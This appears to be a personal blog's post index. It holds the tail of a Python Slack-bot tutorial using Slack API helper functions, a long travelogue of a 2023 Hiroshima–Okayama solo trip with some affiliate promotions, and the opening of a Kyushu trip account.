slackUpdateMessage(eventChannel, eventTS, None, result)### Slack ###def slackGetReplies(channel, ts): endpoint = \"/conversations.replies?channel=\"+channel+\"&ts=\"+ts response = slackRequest(endpoint, \"GET\", None) if response is not None and 'messages' in response: return response['messages'] return Nonedef slackOpenModal(trigger_id, callback_id, text): slackRequest(\"/views.open\", \"POST\", { \"trigger_id\": trigger_id, \"view\": { \"type\": \"modal\", \"callback_id\": callback_id, \"title\": { \"type\": \"plain_text\", \"text\": \"Prompt\" }, \"blocks\": [ { \"type\": \"section\", \"text\": { \"type\": \"mrkdwn\", \"text\": text } } ] } })def slackDeleteMessage(channel, ts): endpoint = \"/chat.delete\" payload = { \"channel\": channel, \"ts\": ts } response = slackRequest(endpoint, \"POST\", payload) return responsedef slackUpdateMessage(channel, ts, metadata, text): endpoint = \"/chat.update\" payload = { \"channel\": channel, \"ts\": ts } if metadata is not None: payload['metadata'] = metadata payload['text'] = text response = slackRequest(endpoint, \"POST\", payload) return responsedef slackRequestPostMessage(channel, target_ts, text): endpoint = \"/chat.postMessage\" payload = { \"channel\": channel, \"text\": text, } if target_ts is not None: payload['thread_ts'] = target_ts response = slackRequest(endpoint, \"POST\", payload) if response is not None and 'ts' in response: return response['ts'] return Nonedef slackRequest(endpoint, method, payload): url = \"https://slack.com/api\"+endpoint headers = { \"Authorization\": f\"Bearer {SLACK_BOT_TOKEN}\", \"Content-Type\": \"application/json\", } response = None if method == \"POST\": response = requests.post(url, headers=headers, data=json.dumps(payload)) elif method == \"GET\": response = requests.post(url, headers=headers) if response and response.status_code == 200: result = response.json() return result else: return Nonerequirements.txt:functions-framework==3.*requests==2.31.0openai==1.9.0Slack App SettingsOAuth & Permissions The items with the delete button grayed out are permissions automatically added by Slack after adding the Shortcut.Interactivity & Shortcuts Interactivity: Enable Request URL: https://us-central1-xxx-xxx.cloudfunctions.net/SlackBot-Rick-C-137?token=nF4JwxfG9abqPZCJnBerwwhtodC28BuC Subscribe to bot events:Interactivity & Shortcuts Interactivity: Enable Request URL: https://us-central1-xxx-xxx.cloudfunctions.net/SlackBot-Rick-C-137?token=nF4JwxfG9abqPZCJnBerwwhtodC28BuC Shortcuts:App Home Always Show My Bot as Online: Enable Messages Tab: Enable Allow users to send Slash commands and messages from the messages tab: ✅Basic Information Rick & Morty 🤘🤘🤘RedditCommercial TimeIf you and your team have automation tool and process integration needs, whether it’s Slack App development, Notion, Asana, Google Sheet, Google Form, GA data, various integration needs, feel free to contact for development.If you have any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Travelogue 2023 Hiroshima Okayama 6-Day Free Trip", "url": "/posts/31b9b3a63abc/", "categories": "Travelogue", "tags": "Life, japan, travel, hiroshima, okayama", "date": "2024-01-09 21:27:40 +0800", "snippet": "[Travelogue] 2023 Hiroshima Okayama 6-Day Free Trip6-day trip to Hiroshima, Okayama, Fukuyama, Kurashiki, and Onomichi in 2023PrefaceAfter resigning at the end of August and immediately embarking o...", "content": "[Travelogue] 2023 Hiroshima Okayama 6-Day Free Trip6-day trip to Hiroshima, Okayama, Fukuyama, Kurashiki, and Onomichi in 2023PrefaceAfter resigning at the end of August and immediately embarking on a “ 10-day Solo Stroll in Kyushu “ in September for almost three months of rest, originally planning to start work in mid-November, the new job will involve new projects, and the new company does not offer much special leave. Everything needs to accumulate annual leave according to the basic labor law, so I considered going out to play again (planning started at the end of October).Location — Hiroshima (Okayama)Last time, on the way to an unexpected incident on the road to Nagasaki — received a souvenir from Onomichi, Hiroshima Prefecture, and visited the Nagasaki Atomic Bomb Museum and Peace Park last time, so I thought I could also visit Hiroshima.Also, friends around me highly recommended Hiroshima, with World Heritage sites such as Itsukushima Shrine, oysters, Seto Inland Sea, Onomichi, Rabbit Island…And since it’s a solo trip, not considering big cities or cities I’ve already been to, hoping for convenient transportation, Hiroshima is a great choice!Dates — 11/13–18Originally planned to start work on 11/20 (later postponed to 12/1), deducting the last day as a buffer for rest, the return date was set for 11/18 (Saturday).For the departure date, originally had plans with friends on 11/12, so I decided to depart on 11/13 (Monday); but since the work arrangements were flexible, mainly based on when the flight prices for the round trip were lower.Twists and Turns❌ The most intuitive way to go to Hiroshima is through Hiroshima Airport, but the conditions are very unfavorable: Time: Late departure (17:20) and early return (09:30); and no flights on Saturdays, so I would have to return on Friday (11/17). Location: Need to take a shuttle bus (about 55 minutes), and upon arrival, the only available buses are at 21:40 or 22:20 (last one), reaching the station around 22 or 23 o’clock, very late. Price: ~=$17,000, too expensive.❌ In and out of Fukuoka + Shinkansen, still inconvenient: Time: Departure (16:30) and return (10:55), also late departure and early return, but slightly better. Location: Convenient transportation, but need to take the Shinkansen to Hiroshima, about 1.5 hours. Price: ~=$12,000, and if I want to return late (20:35), it would cost ~=$17,000 or take the 06:50 flight in the morning.❌ Later found out that I could go to Hiroshima through Okayama with Tigerair, the motivation to go was average: Time: Departure (11:10) and return (15:25), great timing. Location: Also need to take a shuttle bus from Okayama Airport, but the landing time is early, with plenty of time. Price: Including 20 KG checked baggage, round trip costs around ~=$14,000.Since I had spent a lot during the “ 10-day Kyushu trip in September “, if I couldn’t keep the flight ticket price around 10,000, the motivation to go was not strong, so I almost gave up on this trip.✅ Tigerair Okayama Winter Travelogue Event , Departure:On October 31, while browsing Facebook out of boredom, I happened to see a post in the “ Japan Free Travel Discussion Group “ community where someone shared about discounted airfare promotions from an airline from 11/3 10:00 to 11/6 23:59. Luckily, with a go-with-the-flow attitude, I decided to go if I could get a discount and let it go if not.11/3 I was very lucky to buy the tickets early in the morning, with the best departure and return dates (11/13–18), the best flight times, and the best prices, so there’s no reason not to go! Departure (11:10), return (15:25), including round-trip 20KG check-in baggage + seat selection + miscellaneous fees: $7,012KKday Promotion JR Pass Okayama & Hiroshima & Yamaguchi Area Rail Pass e-ticket Japan JR PASS | Sanyo & Sanin Area Rail Pass | eMCO e-ticket Japan JR PASS | Kansai & Hiroshima Area Rail Pass | eMCO e-ticket Hiroshima Castle Admission Ticket (Hiroshima, Hiroshima Prefecture) Japan. Miyajima | Momijidani Park, Itsukushima Shrine | Rickshaw Experience Hiroshima and Miyajima Bus Day TourPreparationAfter buying the tickets, there is only one week left before departure, so I will start preparing eagerly.The places I most want to visit are Miyajima, Onomichi, Kurashiki, and Okayama Castle; so I will use Hiroshima as a base, stay there for several days, and then stay around Okayama closer to the return date.TransportationJR Pass Okayama & Hiroshima & Yamaguchi Area Rail Pass (¥ 17,000, just in time for the price increase after the end of October 2023.)Checking the fare from Okayama to Hiroshima station, one way is ¥6,460, round trip is ¥12,920; adding trips to Miyajima, Onomichi, and Kure… round trip, it should be worth it; buying the JR Pass directly is the most convenient option.Accommodation (5 nights)Toyoko Inn Hiroshima Station Baseball Stadium Front (3 nights) Price: $4,612, $1,537 per night, single non-smoking room Location: It seems quite close on the map (actually about a 15-minute walk, due to construction and having to cross a level crossing), not a bustling area, outside the Mazda Zoom-Zoom Stadium, which is currently not hosting any games, so the whole area is very quiet.Toyoko Inn consistently offers great value for money, with both price and environment being the best of this accommodation.APA Hotel Hiroshima Ekimae Ohashi (1 night) Price: $2,501, 1 night, single non-smoking room Location: Closer to Hiroshima Station, but not an easy walk, need to cross a major road and a bridge (about 10 minutes); about a 15-minute walk from the previous accommodation, so it’s convenient.Since Toyoko Inn was fully booked for four nights, I could only stay at APA Hotel for one night.Livemax Okayama Kurashiki Ekimae Hotel Livemax (1 Night) Price: $3,263, 1 night, single non-smoking room Location: Similar to the map, just outside Kurashiki Station, about a five-minute walk, very convenient.We ended up in Kurashiki because we couldn’t find any affordable hotels in Okayama when looking for accommodation. We had to look along the JR line, as there are shuttle buses from Kurashiki back to Okayama Airport; so we decided to find a hotel near Kurashiki.This was the only hotel in Kurashiki with available rooms, convenient location, and acceptable prices.JoyOriginal plan: 11/13: Shopping, eat Hiroshima-style okonomiyaki 11/14: Miyajima, Hiroshima City: Itsukushima Shrine, Momijidani Park, Miyajima Ropeway -> Mount Misen Observatory, Hiroshima Peace Memorial, Hiroshima Peace Memorial Park, Hiroshima Peace Memorial Museum, Hiroshima Tower 11/15: Onomichi, Senkoji Temple 11/16: Kure, Hiroshima City (same as 11/14), Hiroshima Castle 11/17: Okayama, Kurashiki: Okayama Korakuen Garden, Okayama Castle, Kibitsu Shrine, Kurashiki Bikan Historical Quarter, Kurashiki Outlet, Achi Shrine 11/18: Kurashiki Outlet, return journeyOkunoshima Island is too far and inconvenient, so it’s just on the reference list.Let’s Go! Flight Tracker, iPhone Suica usage, Visit Japan pre-entry application… mentioned in previous articles, so no need to elaborate here.Day 1 DepartureDeparture at 11:10 in the morning, slowly getting ready to leave.From Taipei Main Station, take the airport MRT to Terminal 1 of Taoyuan Airport, arriving at the check-in counter around 08:50.Not many people, quickly completed check-in + departure; not much to eat at Terminal 1, bought a snack and coffee and headed to the boarding gate.Not very hungry while waiting, so didn’t buy any snacks.Departed at 11:07, arrived at OKJ (Okayama Momotaro Airport) at 14:11; felt hungry in between but found out that Tigerair doesn’t allow bringing your own food on board (Peach Aviation doesn’t have specific regulations), so patiently waited, planning to eat before entering the country.Okayama Airport is super small, followed the crowd and went straight through immigration, no corner to sneakily eat; because the snack had chicken, worried about quarantine issues, so handed the whole package over to customs for disposal.Completed immigration + baggage claim around 14:40 (super fast). Later checked the flight schedule, Okayama Airport has very few flights, maybe only one international flight a day, so there were very few people, only those on the same flight; customs and quarantine dogs checked each person, but it was still very quick!Immediately took the airport shuttle bus upon exiting, probably due to the limited flight schedule, the shuttle to Okayama Station was scheduled for 16:10; but there was an extra shuttle waiting outside the airport (departing when full, with another one following soon), very thoughtful to save everyone time!After getting off, found the escalator to go up to Okayama Station, first went to exchange for the JR Pass, found the machine in green with “ EXPRESS Reservation, 5489 Pick-up “ written next to it to exchange for the JR Pass ticket.I found exchange tutorial on the internet, which says to click on the blue “予約したきっぷのお受取り” button. However, when following the steps and scanning the QR Code, an “Invalid QR Code” error keeps appearing. Even trying to enter the order number failed.Finally, after several attempts by a group of Taiwanese people, it was discovered that you need to use the yellow button “ QRコードの読取り “ at the bottom left to exchange, and after clicking it, you can directly scan the QR Code. (Guess JR machines have been updated)The machine will dispense two instruction sheets, one JR Pass ticket (the one with the checkmark in the image). You can also complete the seat reservation after receiving the JR Pass. Remember to use the JR Pass ticket for entering and exiting the stations, as the reserved ticket is only for reference for seat and time and cannot be used for station access.Feeling very hungry and not having eaten anything, I first went to a convenience store to buy something to eat. I then bought a few JR tickets for the upcoming trains.Arrived at Hiroshima Station around 16:45.First, I checked in at the hotel to drop off my luggage before going out to find food. This road is quite deserted when there are no baseball games. On the opposite side is the railway, and there aren’t many shops along the road, but fortunately, there is a large street shop, Lawson.Returned to the station in Hiroshima to eat Hiroshima-style okonomiyaki at “Hiroshima Okonomiyaki Story Station Square,” located on the 6th floor to the right after exiting Hiroshima Station (next to Ekie department store). As soon as you step out of the elevator, you’ll find it quite unique as the entire floor is filled with Hiroshima-style okonomiyaki restaurants, allowing you to choose your preferred restaurant to dine in.Ordered a Hiroshima-style okonomiyaki with added rice cakes (fried noodles inside). The taste was average, with noodles and rice cakes inside, and I felt quite full after eating.Bought a late-night snack on the way back to the hotel. The night in Hiroshima was quite cold at around 4 degrees.Unpacked in the room.When you pull back the curtains, you can see the railway outside (about 10 lines, so you need to be quick when crossing the level crossing); the downside of the room is that there is a knocking sound when the train passes by.Allite A1 65W Gallium Nitride Fast Charger + Allite Liquid Silicone Fast Charging CableThis time I brought the Allite A1 65W Gallium Nitride Fast Charger + Allite Liquid Silicone Fast Charging Cable combination for the trip. Since switching to iPhone 15, almost all devices have switched to Type-C ports; when traveling, just bring a Type-C charging cable to solve everything.The Allite A1 65W Gallium Nitride Fast Charger supports single-port 65W, dual-port 45W+18W fast charging; it is small in size and can be carried around. When you see a rechargeable plug outdoors, just plug it in to continue charging; back at the hotel, one port charges the power bank, and the other charges the phone, watch, iPad, or Switch, making it convenient and fast.The Allite Liquid Silicone Fast Charging Cable (1.5m) is long enough to be directly connected from the power bank in the bag for use. The liquid silicone material is different from regular plastic, not only skin-friendly but also easier to bend for storage without deformation.The best charging companion for this trip.Day 2 Miyajima (Itsukushima Shrine), Momijidani Park, Mt. Misen Observatory, Atomic Bomb Dome, Peace Memorial Park KKday itinerary reference: _[Japan. Miyajima Momijidani Park, Itsukushima Shrine Rickshaw Experience](https://www.kkday.com/zh-tw/product/22395-miyajima-private-tour-ebisuya-rickshaw-experience?cid=19365&ud1=31b9b3a63abc){:target=”blank”} Hiroshima, Miyajima Bus Day TourMiyajimaIn the early morning, take the JR to Miyajima-guchi Station, and walk towards the pier after exiting the station to find the ferry terminal. JR Pass includes the Miyajima ferry ticket, so there’s no need to buy a separate ticket, but you need to pay the Miyajima visit tax (¥100), and station staff will guide you to purchase the tax ticket. Alternatively, you can also take the Hiroden to Miyajima-guchi, but I remember it takes longer.The ferry takes about 10 minutes to reach Miyajima, and the ferry ride is smooth without a diesel smell. You can see the floating torii gate from afar as you approach!Upon arriving on the island, head towards the floating torii gate. It’s beautiful and less crowded to take photos along the shore.There are also many wild deer on the island, be careful as they might nibble on things XD.After passing through Itsukushima Shrine, head to the Miyajima Ropeway to the Shishiiwa Observatory.You need to take two cable cars to reach the Shishiiwa Observatory. The advantage of taking the cable car directly is that there are almost no people (lots of people at Itsukushima Shrine below). The first section is a small cable car for up to 6 people (frequent departures, longer distance), and the second section is a larger cable car (if I remember correctly, it departs every 15 minutes and can accommodate more people, about 20 people, with a short distance).From the mountaintop, you can overlook the entire Seto Inland Sea, enjoy the breeze, and admire the small islands.Itsukushima Shrine is built directly by the sea, with clean water and a serene atmosphere. You can also queue to take photos of the torii gate in the sea from the front.During this season, the tide recedes at 3 am or 5 pm. Unfortunately, this time I didn’t have the chance to see the Itsukushima Shrine and torii gate at low tide.For lunch, of course, you must eat oysters. The oyster rice and fried oysters at Oyster House cost around 300 TWD each, delicious and affordable, a feast of oysters!Miyajima Ropeway and Itsukushima Shrine tickets.Bought a small Itsukushima Shrine torii gate to take home, very cute!Atomic Bomb Dome, Peace Memorial ParkReturned to Hiroshima city in the afternoon and visited the Atomic Bomb Dome and Peace Memorial Park.In autumn, Hiroshima is adorned with the yellow of ginkgo trees, the red of maple leaves, and some green leaves, accompanied by the cool autumn breeze, reminiscing about everything that happened in Hiroshima. Encountered many Japanese middle and elementary school outdoor classes at the Peace Memorial Park, with teachers explaining the history. I deeply feel the importance the Japanese people place on passing down historical education.Back to the HotelReturned to the hotel in the late afternoon to rest because it was too cold outside as I was dressed lightly.Dinner was bought directly on the way back to the hotel from the “Charcoal Grilled Meat Min Sarumonkey Bridge Store” takeout barbecue box; what initially caught my eye about this store was that there were several charcoal stoves placed at the entrance, which felt very warm as I walked by. When I stopped to look at the sign, I found out they offered takeout boxes, so I went in!Another interesting thing was that their meal box had a self-heating function. When you want to eat it back at the hotel, you just pull a string, and it will start heating itself, emitting hot steam; it feels freshly baked and warm whenever you eat it, very thoughtful.Today’s convenience store late-night snack included hot dogs, fried chicken, Strong Zero, and also bought a bottle of Yakult Y1000, which is said to help you sleep well after drinking. (But I was already very sleepy today after walking all day)Day 3 Onomichi, Senkoji Temple, Fukuyama, Tomo-no-UraIn the morning, took the Shinkansen to Mihara, then transferred from Mihara to Onomichi Station.Didn’t time it well, had to wait for over 30 minutes when transferring from Mihara to Onomichi.Walked out of the south exit to the main entrance of Onomichi Station.The weather was good and the temperature was comfortable, so after leaving Onomichi Station, I walked straight to Senkoji Temple; walking on the mountain side felt like walking in Jiufen Old Street, the path was not easy to walk, with many stairs and steep slopes, but on the other side, you could see the Seto Inland Sea, the scenery was nice.Another option is to walk directly on the main road until you see the sign for the Senkoji Ropeway, then turn in and take the ropeway up to Senkoji.The view from Senkoji Temple is great, overlooking the entire Onomichi city area and the distant Onomichi Ohashi Bridge.Brought home a cute little Jizo statue (you can choose to write down a wish and leave it at Senkoji for offering or take it home as a souvenir):After visiting Senkoji Temple, walking down leads to the Cat Alley.Early internet articles often introduced the Cat Alley in Japan’s Hou Tong, but this year’s actual visit felt different; the Cat Alley is a small path downhill from Senkoji, didn’t see any stray cats, the cat cafes along the way were almost all closed, walking down felt a bit lonely, finally found a coffee shop that was still open, “Bouquet D’arbre,” to have a cup of coffee and take a break. The location of the store is good, but on the way up, it also gives off a lonely feeling with overgrown weeds. The store has few seats and limited meal options; but the owner is very enthusiastic + the store cat is very clingy and will come to sit next to you. Walking back to the main street at the foot of the mountain, I encountered a very quiet local shrine. On the way back to Onomichi Station, I walked through the shopping street inside and had the famous Onomichi Ramen for lunch - “Onomichi Ramen Shoya”. After leisurely strolling back to Onomichi Station, since it was still early, I decided to go to the nearby city of Fukuyama. I didn’t calculate the time well again, and waited for another 30 minutes before the train arrived. Friends coming to Onomichi, remember to manage your time well. Fukuyama After arriving at Fukuyama Station, you can see Fukuyama Castle, but I didn’t go inside, just took a photo from afar and left. Tomonoura Before returning to Fukuyama Station, you can see the bus boarding instructions to Tomonoura. Initially, I thought it would be difficult to reach Tomonoura because it is a seaside town, but I have to admire Japan’s tourism and transportation signs, very clear. p.s. I didn’t do much research on Tomonoura before the trip, it was a spontaneous decision to visit. The only knowledge I had about Tomonoura was that it is a filming location for “Ponyo on the Cliff”, Japan’s first modern port town, a place where Ryoma Sakamoto negotiated, a must-visit for history buffs. After boarding the bus, the final stop is Tomonoura (journey time: about 40 minutes). Sensui Island Referring directly to the local tourist map, I decided to go to Sensui Island first to see the scenery. After getting off, I walked back to the “Fukuyama City Ferry Terminal” and took a ferry to Sensui Island (about 10 minutes). The ship has an ancient charm, giving a sudden feeling of becoming a pirate king. Although the journey is short, being able to overlook the Seto Inland Sea and Sensui Island, and feel the breeze, is very comfortable. After arriving on the island, I didn’t see any pedestrians, the island was desolate, the original Tomonoura Seaside Bathing Beach Visitor Center had also closed and was being prepared for demolition, the trails to other coasts up the mountain were closed due to falling rocks; only at the intersection, there was still a bathhouse restaurant in operation.Tomo-no-Ura Beach is now just a quiet stretch of sand, with only the occasional sound of a group of sea ducks playing. (It’s my first time seeing saltwater ducks, not saltwater chickens.)After about 15 minutes, with nowhere else to go, we waited for the ferry back; although the place was desolate, there were vending machines! On the way back, we took a closer look at Benten Island in the distance, a small island with a torii gate standing alone in the middle of the sea.Tomo-no-UraReturning to Tomo-no-Ura as evening approached, we strolled to the harbor to see the evening lights and the Japanese-style castle town scenery. On the way, many people and photography enthusiasts were already sitting on the steps near the harbor, setting up their cameras, waiting for the sunset.Tomo-no-Ura is famous for its invigorating and life-saving liquor, with a strong medicinal wine aroma on the road; because we had to rush back to Hiroshima, we took a bus back to Fukuyama before it got dark.After returning to Fukuyama, we hopped on the train to Hiroshima, bidding farewell to this peaceful and serene city. For dinner, we bought a takeout barbecue box from “ Yakiniku Toshi Saruhashi Store “ on the way back to the hotel.Also added two fried oysters from the convenience store (only 100 yen each).Late-night snack was still over Y1000 at the convenience store.Day 4 Kure, Hiroshima City Tour (Hiroshima Peace Memorial Museum, Hiroshima Castle, Shukkeien Garden)Early in the morning, we checked out of Toyoko INN and headed to Hiroshima APA Hotel where we would stay that night.After storing our luggage, we walked back to Hiroshima Station to catch a train to Kure (about 50 minutes). As we approached Kure, looking out the right window felt like taking the train back to Fulung, Yilan, with mountains on the left and the sea on the right, a pleasant view.Upon exiting the station, you can visit the tourist information center to get a travel guide for Kure. (The design is really good!)Following the signs, you can walk from the station to the Yamato Museum and the Maritime Self-Defense Force Kure Museum.When you’re at the end of the bridge, don’t rush to descend. From the bridge, you can get a good view of the Maritime Self-Defense Force Wushi Archives - Submarine.For future friends planning to visit Wushi and Hiroshima, Wushi can also take a boat to Miyajima and return to Hiroshima. I originally wanted to take a boat back to Hiroshima, but I missed the time, so I gave up this time.Yamato MuseumInside, there is a close-up view of the Yamato battleship from almost every angle, with detailed displays of battleships, war history, fighter planes, cannons, and more. It’s a must-visit for battleship enthusiasts and military fans. Additionally, there was a special exhibition on the history and design of Japanese aircraft carriers, including design sketches.Maritime Self-Defense Force Wushi ArchivesAfter leaving the Yamato Museum, walk towards the back to reach the Maritime Self-Defense Force Wushi Archives, where you can enter for free.The museum mainly showcases the living environment, working environment, engines, mines, and history inside submarines.The most special part is that you can actually enter the submarine and see the real cockpit, dormitory, captain’s room, control room, and use the periscope to view the external environment.Wushe Shopping StreetAfter visiting the museum and approaching noon, getting ready to eat, I initially wanted to have Navy Curry directly, but after checking the reviews, it didn’t seem particularly special, so I walked back to Wushe Shopping Street to decide. (Actually quite far, in the opposite direction, took about 30 minutes to walk)Finally chose to eat Wushe Cold Noodles, similar to cold noodles with pork bone char siu, the noodles are chilled, refreshing in taste, and the portion is quite large, so ordering a small portion is sufficient.After eating, getting ready to head back to the station, I also bought “Fukuzumi Fried Red Bean Cake” on the way, which was sweet and oily, tasting quite ordinary; and also bought Navy Coffee and Curry as souvenirs on the way (subarucoffee_store/, the staff was very friendly and enthusiastic).Walking back to the Wu Station and taking a train back to Hiroshima.After returning to Hiroshima, the final tour of Hiroshima city area. There are three sightseeing bus routes available right outside Hiroshima Station (included in JR Pass), so you can choose the direction you want to go.I want to visit Shukkeien (Hiroshima Museum) first, so I choose to take the red Maple Leaf bus.ShukkeienShukkeien is located behind the Hiroshima Museum, and you can also buy a combined ticket for Shukkeien + Hiroshima Museum when purchasing tickets.Shukkeien is a very exquisite small garden with many miniature landscapes, such as maple leaves, flowing water under small bridges, bamboo groves, pine trees, hills, etc. It’s nice to take a walk and enjoy the scenery.Hiroshima CastleNext stop is a leisurely walk to Hiroshima Castle. The original Hiroshima Castle was destroyed in the atomic bombing, and the current Hiroshima Castle is a reconstruction. It looks very new, not very tall, and you can’t see much scenery from the main keep.Peace Memorial Museum, Peace Memorial ParkThe last stop is back to the Peace Memorial Park, next to which is the Paper Crane Tower (not very tall, didn’t go in).Just happened to encounter Shingo Takatori coming to pay his respects in the afternoon.Queue up to buy tickets to visit the Peace Memorial Museum, which has a very rich history of the nuclear bombing process, history, as well as data photos and objects; the overall visit is very heavy and shocking.On the other side of the park, there is also a memorial hall, but it was too heavy to go in.In the evening, a drizzle started, matching the mood of just having seen a painful historical lesson, and returned to Hiroshima Station.Bought some souvenirs at the station and a bento box to take away, then returned to the hotel to rest, still need to do laundry today.APA’s president is really everywhere, President’s curry, President’s water, President’s book…The room density is as dense as usual, with over 60 rooms on one floor.The room is small, but well-equipped, and the electronic facilities are very convenient (you can see the laundry room dynamics in the room, and the TV can directly Airplay).Encountered a big trouble when doing laundry, long queues, with only 7 washing machines for over 1000 rooms in the building. Finally, seized the right timing, queued downstairs when the washing machine was about to finish, and finally finished washing and drying clothes around 11 o’clock (not dry yet, continue to hang in the room).It was so late, it was very reasonable to have a late-night snack today! Still Y1000 + milk + convenience store ready-to-eat food.Day 5 Kurashiki, OkayamaEarly in the morning, the weather was beautiful and sunny; checked out of the hotel, said goodbye to Hiroshima, and headed to Kurashiki to leave luggage at the hotel (can also leave it in Okayama first, as you need to go to Okayama before going to Kurashiki).Kurashiki Bikan Historical Quarter, Achi ShrineFirst stop at Achi Shrine, located at a higher altitude overlooking the entire Kurashiki area, very quiet with few people.Atsushi Shrine is not big but famous for its Ema Pavilion. If you draw a bad fortune, you can tie it under the corresponding animal head according to your zodiac sign. There is also the “Hanawa Musubi” for seeking good relationships (source):, thanks to Angie.The area is not large but very quiet and pleasant to stroll around. As the boat tickets were sold out that day, we didn’t get a chance to experience it, but walking around the nearby alleys was also very comfortable.For lunch, we had the famous curry set meal at Miyake Shoten. The curry was rich and delicious, especially paired with burdock strips.After eating, we continued our stroll and when we got tired, we went to have the “Fruit Parfait” at Parlor Kudamachi (where the staff wears maid costumes from the Taisho era). The Okayama Seio grapes with fruit ice cream were sweet to the point of numbness.For souvenirs, you can buy the collagen-rich Okayama fruit jelly from GOHOBI, a specialty of Kurashiki.Okayama Korakuen Garden Illumination, Okayama CastleAs the sun set, we took the train back to Okayama Station, where we could directly take a tram to the area around Okayama Castle.First stop at Okayama Korakuen Garden, the evening illumination feels romantic and beautiful. Okayama Korakuen Garden + Okayama Castle hold illumination events in mid to late November every year.On the way, visit the neighboring Okayama Castle to see the night view, which has a unique charm with the maple leaves illuminated.Dinner was easily settled by having Ichiran ramen on the spot, then strolling back to Okayama Station (the street lights were beautiful along the way). Before returning to Kurashiki, there was some time to browse through the discount store (Don Quijote), but there were not many souvenirs, so you have to go to Okayama Station or department stores to find them…Upon returning to Kurashiki, it was already evening, the weather was cold, and people on the street were rushing home. The outlet behind Kurashiki Station had also closed.Only then did I realize that the hotel did not have a 24-hour front desk, luckily I didn’t come back too late! However, the hotel room facilities were very complete, with a microwave, kettle, and glasses cleaning machine.On the last night in Japan, I simply had convenience store chicken nuggets + a ¥1000 bill and bought an extra bottle of white peach strawberry milk as a midnight snack before falling asleep.Day 6 Okayama, Return JourneyIn the early morning just as the day was breaking, I checked out and headed to Okayama. Planning to take the airport shuttle from Okayama back to the airport, there is also a direct shuttle from Kurashiki to Okayama Airport but with fewer trips ( For details, please refer to the official website ). Since I hadn’t finished exploring Okayama yesterday, I decided to head straight to Okayama and then return from there.Kibitsu ShrineUpon arriving at the station, head straight to Kibitsu Shrine (about a 30-minute drive). It takes another 15 minutes to walk from the station to reach the shrine, which features a historic cypress corridor, ginkgo trees, and historical buildings, perfect for a leisurely visit.There is another Kibitsu Shrine on the other side of the mountain, which you can also visit on the way, but due to time constraints, we skipped it this time.Okayama AEONAfter returning to Okayama Station, head to the nearby AEON department store to buy souvenirs, shop around, have a tempura soba lunch, and then prepare to catch the airport shuttle back to Okayama Airport. There are many people waiting for the shuttle, but there is no need to worry about not getting on the bus, as extra buses are scheduled to ensure everyone reaches the airport.Okayama Momotaro Airport (OKJ)The airport is a bit dated, similar in size to Kumamoto Airport, and by around 13:50, you will have completed security check-in and departure procedures, with about 2 hours left until the 15:25 departure time.The airport has very few flights, with only passengers from the same flight. Check-in and baggage drop-off take less than 15 minutes. An interesting feature is that the X-ray machine at Okayama Airport is located in the airport lobby. After passing through the X-ray, seal your luggage before proceeding to check-in (if you open your luggage, you will be asked to go through security again).After dropping off your luggage on the terminal floor (only 2 floors in total), take a stroll around. There is an observation deck for viewing, as well as a cafe and several restaurants to grab a bite to eat. When you’re tired, treat yourself to a white peach ice cream cone.Security check is also quick, but at Okayama Airport, you need to remove your boots for the check, which can be a bit inconvenient.In case of flight delays, wait in the boarding area until finally taking off at 16:24 (almost an hour delay). Farewell, Okayama, farewell, Hiroshima.Souvenir UnboxingInterludeFollowing the “2023 Kyushu 10-Day Solo Trip” a few days ago, there was a lingering sense of loneliness, being alone in unfamiliar places and hardly speaking any Japanese for 10 days. The memory of that loneliness remains fresh, so there isn’t much desire to go back. The trip was mainly due to the upcoming work commitments and the opportunity of getting a super discounted flight ticket.On the first day, while exchanging for the JR Pass, I coincidentally got stuck, met a group of Taiwanese who were also stuck, took turns trying with them, and coincidentally, she was also heading to Hiroshima. We both bought tickets for the next train, coincidentally both wanted to go to the convenience store first, and coincidentally, we were in the same industry, so we had a lot to talk about. Both traveling alone, we ended up forming a group and completing the same itinerary together on the first day. Many itineraries, attractions, and time arrangements are provided by Angie. If I were to travel on my own, I might wander around or miss out, and end up walking alone for 6 days.KKday Promotion JR Pass Okayama & Hiroshima & Yamaguchi Area Rail Pass E-ticket Japan JR PASS Sanyo & Sanin Area Rail Pass eMCO E-ticket Japan JR PASS Kansai & Hiroshima Area Rail Pass eMCO E-ticket Hiroshima Atomic Bomb Dome Admission Ticket Japan Miyajima Maple Valley Park, Daishoin Temple, Itsukushima Shrine Rickshaw Experience Hiroshima and Miyajima Bus Day TourMore Travelogues [Travelogue] 2024 Second Visit to Kyushu 9-Day Free and Easy Trip, via Busan→Fukuoka Cruise Entry [Travelogue] 2023 Kyushu 10-Day Solo Free and Easy Trip [Travelogue] 9/11 Nagoya Flash Visit [Travelogue] 2023 Tokyo 5-Day Free and Easy Trip [Travelogue] 2023 Kansai Region 8-Day Free and Easy TripFeel free to contact me for any questions or feedback.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Travelogue 2023 Kyushu 10-Day Solo Trip", "url": "/posts/d78e0b15a08a/", "categories": "Travelogue", "tags": "Life, japan, kyushu, fukuoka, kumamoto", "date": "2023-10-04 12:46:37 +0800", "snippet": "[Travelogue] 2023 Kyushu 10-Day Solo TripRecord of a 10-day solo trip to Fukuoka, Nagasaki, and Kumamoto in Kyushu[2024 Update] Second Visit to Kyushu Visited Kyushu for the second time in June 20...", "content": "[Travelogue] 2023 Kyushu 10-Day Solo TripRecord of a 10-day solo trip to Fukuoka, Nagasaki, and Kumamoto in Kyushu[2024 Update] Second Visit to Kyushu Visited Kyushu for the second time in June 2024 (9 days + 2 days in Korea)Boarded the New Camellia cruise ship from Busan, Korea to Hakata, Japan, and explored Yufuin, Oita, Fukuoka, Shimonoseki, Ijima, and SaseboPrefaceAt the end of August, I officially left Pinkoi after nearly 3 years. I had been contemplating leaving for a while, and earlier in the year, I decided to take a break from work, explore outside, and reassess the situation upon my return. So, I embarked on trips with friends to “[Travelogue] 2023 Kansai & 🇯🇵 First Landing” and with colleagues to “[Travelogue] 2023 Tokyo & 🇯🇵 Second Landing.” However, upon returning, I felt a stronger urge to break free, coinciding with the completion of my tasks. I gathered my courage to step out of my comfort zone, seeking the next challenge!The “[Travelogue] Flash Visit to Nagoya on 9/11” was purely accidental and felt more like a march than a relaxing trip.Taking advantage of a rare opportunity, I decided to explore Japan once again. The original plan was to travel with a friend who was also on a break to 🇰🇷 Busan ➡️ 🇯🇵 Fukuoka ➡️ 🇯🇵 Kumamoto; traveling from Korea to Kumamoto, with a stop in Fukuoka where we could board the New Camellia cruise ship, arriving in Fukuoka after a 